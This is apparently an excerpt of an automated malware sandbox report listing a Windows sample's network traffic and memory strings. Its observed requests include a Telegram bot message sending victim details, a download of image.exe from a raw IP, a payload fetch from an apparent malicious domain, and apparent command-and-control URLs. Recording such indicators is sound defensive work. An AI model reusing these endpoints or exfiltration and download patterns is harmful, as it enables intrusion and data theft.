          Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49795 version: TLS 1.0
          Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49871 version: TLS 1.0
          Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49887 version: TLS 1.0
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2023:15:16%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2021:58:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2022:17:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /image.exe HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 147.124.216.113
          Source: global trafficHTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficDNS traffic detected: DNS query: amazonenviro.com
          Source: global trafficDNS traffic detected: DNS query: checkip.dyndns.org
          Source: global trafficDNS traffic detected: DNS query: reallyfreegeoip.org
          Source: global trafficDNS traffic detected: DNS query: api.telegram.org
          Source: global trafficDNS traffic detected: DNS query: mail.techniqueqatar.com
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 07 Jan 2025 12:25:34 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 07 Jan 2025 12:25:42 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 07 Jan 2025 12:25:43 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?L
          Source: jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
          Source: jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.00000000261D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://aborters.duckdns.org:8081
          Source: brightness.exe, 00000008.00000002.2212129795.000000000080E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amazonenviro.com/
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020633000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2212129795.000000000080E000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2212129795.0000000000826000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsg
          Source: brightness.exe, 00000008.00000002.2212129795.0000000000855000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amazonenviro.com:80/245_Aiymwhpjxsg
          Source: jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.00000000261D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://anotherarmy.dns.army:8081
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.000000002627F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/
          Source: jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/q
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3441525726.00000000244F4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3451586724.000000002893C000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3452191252.000000001D6AF000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732557349.000000002D31A000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732629706.000000002D332000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3452062242.000000002D2A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
          Source: jphwmyiA.pif, 0000000C.00000002.3441525726.00000000244F4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3452191252.000000001D642000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732557349.000000002D31A000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3452062242.000000002D2A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
